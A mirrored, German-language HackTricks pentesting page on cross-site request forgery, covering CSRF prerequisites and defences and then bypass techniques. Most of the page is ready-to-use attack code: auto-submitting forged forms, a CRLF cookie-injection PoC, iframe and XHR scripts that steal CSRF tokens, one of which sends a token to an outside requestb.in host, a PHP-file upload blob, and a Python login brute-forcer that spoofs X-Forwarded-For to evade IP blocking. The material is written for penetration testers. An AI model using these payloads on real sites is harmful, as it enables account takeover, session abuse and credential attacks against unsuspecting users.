Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 17:28:13 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

28 KiB
Raw Blame History

CSRF (Cross Site Request Forgery)

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking-Einblicke
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

Treten Sie uns auf Discord bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!

Cross-Site Request Forgery (CSRF) erklärt

Cross-Site Request Forgery (CSRF) ist ein Typ von Sicherheitslücke, die in Webanwendungen gefunden wird. Es ermöglicht Angreifern, Aktionen im Namen ahnungsloser Benutzer auszuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Website besucht. Diese Website löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Absenden von Formularen oder das Abrufen von Bildern verwendet.

Voraussetzungen für einen CSRF-Angriff

Um eine CSRF-Sicherheitslücke auszunutzen, müssen mehrere Bedingungen erfüllt sein:

  1. Identifizierung einer wertvollen Aktion: Der Angreifer muss eine lohnenswerte Aktion finden, die ausgenutzt werden kann, wie z.B. das Ändern des Benutzerpassworts, der E-Mail oder das Erhöhen von Berechtigungen.
  2. Sitzungsverwaltung: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header nicht für diesen Zweck manipuliert werden können.
  3. Fehlen von unvorhersehbaren Parametern: Die Anfrage sollte keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.

Schnellüberprüfung

Sie könnten die Anfrage in Burp erfassen und CSRF-Schutzmaßnahmen überprüfen und um es aus dem Browser zu testen, können Sie auf Als fetch kopieren klicken und die Anfrage überprüfen:

Schutz vor CSRF

Es können mehrere Gegenmaßnahmen implementiert werden, um sich vor CSRF-Angriffen zu schützen:

  • SameSite-Cookies: Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. Mehr über SameSite-Cookies.
  • Cross-Origin-Ressourcenfreigabe: Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff erfordert, dass die Antwort von der Opferseite gelesen wird. Erfahren Sie mehr über CORS-Bypass.
  • Benutzerverifizierung: Das Auffordern des Benutzerpassworts oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
  • Überprüfung von Referrer- oder Origin-Headern: Die Validierung dieser Header kann dazu beitragen, sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Eine sorgfältige Gestaltung von URLs kann jedoch schlecht implementierte Überprüfungen umgehen, wie z.B.:
  • Verwendung von http://mal.net?orig=http://example.com (URL endet mit der vertrauenswürdigen URL)
  • Verwendung von http://example.com.mal.net (URL beginnt mit der vertrauenswürdigen URL)
  • Ändern von Parameternamen: Das Ändern von Parameternamen in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern.
  • CSRF-Token: Die Integration eines eindeutigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen können das Risiko von CSRF erheblich verringern. Die Effektivität des Tokens kann durch die Durchsetzung von CORS verbessert werden.

Das Verständnis und die Implementierung dieser Abwehrmaßnahmen sind entscheidend für die Aufrechterhaltung der Sicherheit und Integrität von Webanwendungen.

Abwehrmaßnahmen umgehen

Von POST zu GET

Vielleicht ist das Formular, das Sie missbrauchen möchten, darauf vorbereitet, eine POST-Anfrage mit einem CSRF-Token zu senden, aber Sie sollten überprüfen, ob ein GET ebenfalls gültig ist und ob beim Senden einer GET-Anfrage das CSRF-Token immer noch validiert wird.

Fehlen des Tokens

Anwendungen könnten einen Mechanismus implementieren, um Tokens zu validieren, wenn sie vorhanden sind. Es entsteht jedoch eine Sicherheitslücke, wenn die Validierung vollständig übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der das Token trägt, nicht nur dessen Wert. Dies ermöglicht es ihnen, den Validierungsprozess zu umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchzuführen.

CSRF-Token ist nicht an die Benutzersitzung gebunden

Anwendungen, die CSRF-Tokens nicht an Benutzersitzungen binden, stellen ein erhebliches Sicherheitsrisiko dar. Diese Systeme überprüfen Tokens gegen einen globalen Pool, anstatt sicherzustellen, dass jedes Token an die initiierende Sitzung gebunden ist.

So nutzen Angreifer dies aus:

  1. Authentifizieren sich mit ihrem eigenen Konto.
  2. Erhalten ein gültiges CSRF-Token aus dem globalen Pool.
  3. Verwenden dieses Token in einem CSRF-Angriff gegen ein Opfer.

Diese Sicherheitslücke ermöglicht es Angreifern, unbefugte Anfragen im Namen des Opfers zu stellen, indem sie den unzureichenden Token-Validierungsmechanismus der Anwendung ausnutzen.

Methodenumgehung

Wenn die Anfrage eine "seltsame" Methode verwendet, überprüfen Sie, ob die Methode Überschreibungsfunktion funktioniert. Wenn beispielsweise eine PUT-Methode verwendet wird, können Sie versuchen, eine POST-Methode zu verwenden und zu senden: https://example.com/my/dear/api/val/num?_method=PUT

Dies könnte auch funktionieren, indem der _method-Parameter innerhalb einer POST-Anfrage gesendet wird oder indem die Header verwendet werden:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Umgehung des benutzerdefinierten Header-Tokens

Wenn die Anfrage einen benutzerdefinierten Header mit einem Token zur Anfrage als CSRF-Schutzmethode hinzufügt, dann:

  • Testen Sie die Anfrage ohne das benutzerdefinierte Token und auch den Header.
  • Testen Sie die Anfrage mit genau gleicher Länge, aber unterschiedlichem Token.

CSRF-Token wird durch ein Cookie überprüft

Anwendungen können CSRF-Schutz implementieren, indem sie das Token sowohl in einem Cookie als auch in einem Anfrageparameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob das im Backend gesendete Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie überprüft, ob das Token im Anfrageparameter mit dem Wert im Cookie übereinstimmt.

Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Fehler aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z.B. eine CRLF-Sicherheitslücke. Der Angreifer kann dies ausnutzen, indem er ein irreführendes Bild lädt, das das Cookie setzt, gefolgt von der Initiierung des CSRF-Angriffs.

Nachfolgend ein Beispiel, wie ein Angriff strukturiert sein könnte:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

{% hint style="info" %} Beachten Sie, dass, wenn das CSRF-Token mit dem Sitzungscookie verknüpft ist, dieser Angriff nicht funktioniert, da Sie dem Opfer Ihre Sitzung mitteilen müssten und somit sich selbst angreifen würden. {% endhint %}

Änderung des Inhalts-Typs

Gemäß dieser Quelle sind zur Vermeidung von Preflight-Anfragen bei Verwendung der POST-Methode die folgenden Content-Type-Werte zulässig:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Beachten Sie jedoch, dass die Serverlogik variieren kann, abhängig vom verwendeten Content-Type, daher sollten Sie die genannten Werte und andere wie application/json,text/xml, application/xml.

Beispiel (von hier) zum Senden von JSON-Daten als text/plain:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Umgehen von Preflight-Anfragen für JSON-Daten

Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist die Verwendung von Content-Type: application/json in einem HTML-Formular nicht direkt möglich. Ebenso führt die Verwendung von XMLHttpRequest zur Sendung dieses Inhaltstyps zu einer Preflight-Anfrage. Dennoch gibt es Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten verarbeitet, unabhängig vom Content-Type:

  1. Verwendung alternativer Content-Typen: Verwenden Sie Content-Type: text/plain oder Content-Type: application/x-www-form-urlencoded, indem Sie enctype="text/plain" im Formular festlegen. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type verwendet.
  2. Ändern des Content-Typs: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit Content-Type: text/plain; application/json senden. Dies löst keine Preflight-Anfrage aus, könnte aber vom Server korrekt verarbeitet werden, wenn er konfiguriert ist, application/json zu akzeptieren.
  3. SWF-Flash-Datei-Nutzung: Eine weniger verbreitete, aber machbare Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe diesen Beitrag.

Referrer / Origin-Prüfung umgehen

Vermeiden des Referrer-Headers

Anwendungen können den 'Referer'-Header nur validieren, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-Meta-Tag verwendet werden:

<meta name="referrer" content="never">

Dies stellt sicher, dass der 'Referer'-Header ausgelassen wird und möglicherweise Validierungsprüfungen in einigen Anwendungen umgangen werden.

Reguläre Ausdrücke umgehen

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Um den Domainnamen des Servers in der URL festzulegen, den der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

HEAD-Methode umgehen

Der erste Teil dieses CTF-Lösungsberichts erklärt, dass im Oak-Quellcode ein Router so eingestellt ist, dass HEAD-Anfragen als GET-Anfragen behandelt werden, ohne Antwortkörper - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstatt eines spezifischen Handlers, der mit HEAD-Anfragen umgeht, werden sie einfach an den GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper.

Daher könnten Sie, wenn eine GET-Anfrage eingeschränkt wird, einfach eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird.

Beispiel für Exploits

CSRF-Token exfiltrieren

Wenn ein CSRF-Token als Schutzmaßnahme verwendet wird, könnten Sie versuchen, es durch eine XSS-Schwachstelle oder eine Dangling Markup-Schwachstelle exfiltrieren.

GET mit HTML-Tags

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Andere HTML5-Tags, die verwendet werden können, um automatisch eine GET-Anfrage zu senden, sind:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Formular GET-Anfrage

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Form POST-Anfrage

When an attacker tricks a victim into submitting a malicious request via a form on a trusted website, it is known as a Cross-Site Request Forgery (CSRF) attack. The attacker crafts a request that performs an action on the target website using the victim's authenticated session. This can lead to unauthorized actions being performed without the victim's consent.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

Form POST-Anfrage über iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST-Anfrage

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST-Anfrage

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST-Anforderung v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Form POST-Anfrage innerhalb eines Iframes

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

CSRF-Token stehlen und eine POST-Anfrage senden

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

CSRF-Token stehlen und einen POST-Request mithilfe eines iframes, eines Formulars und Ajax senden

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Stehlen Sie CSRF-Token und senden Sie eine POST-Anfrage mithilfe eines iframes und eines Formulars

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Token stehlen und über 2 iframes senden

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POST CSRF-Token mit Ajax stehlen und einen Beitrag mit einem Formular senden

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF mit Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF Login Brute Force

Der Code kann verwendet werden, um ein Anmeldeformular mithilfe eines CSRF-Tokens mit Bruteforce anzugreifen (Es verwendet auch den Header X-Forwarded-For, um zu versuchen, eine mögliche IP-Blacklist zu umgehen):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Werkzeuge

Referenzen

​

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking-Einblicke
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

Treten Sie uns bei Discord und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: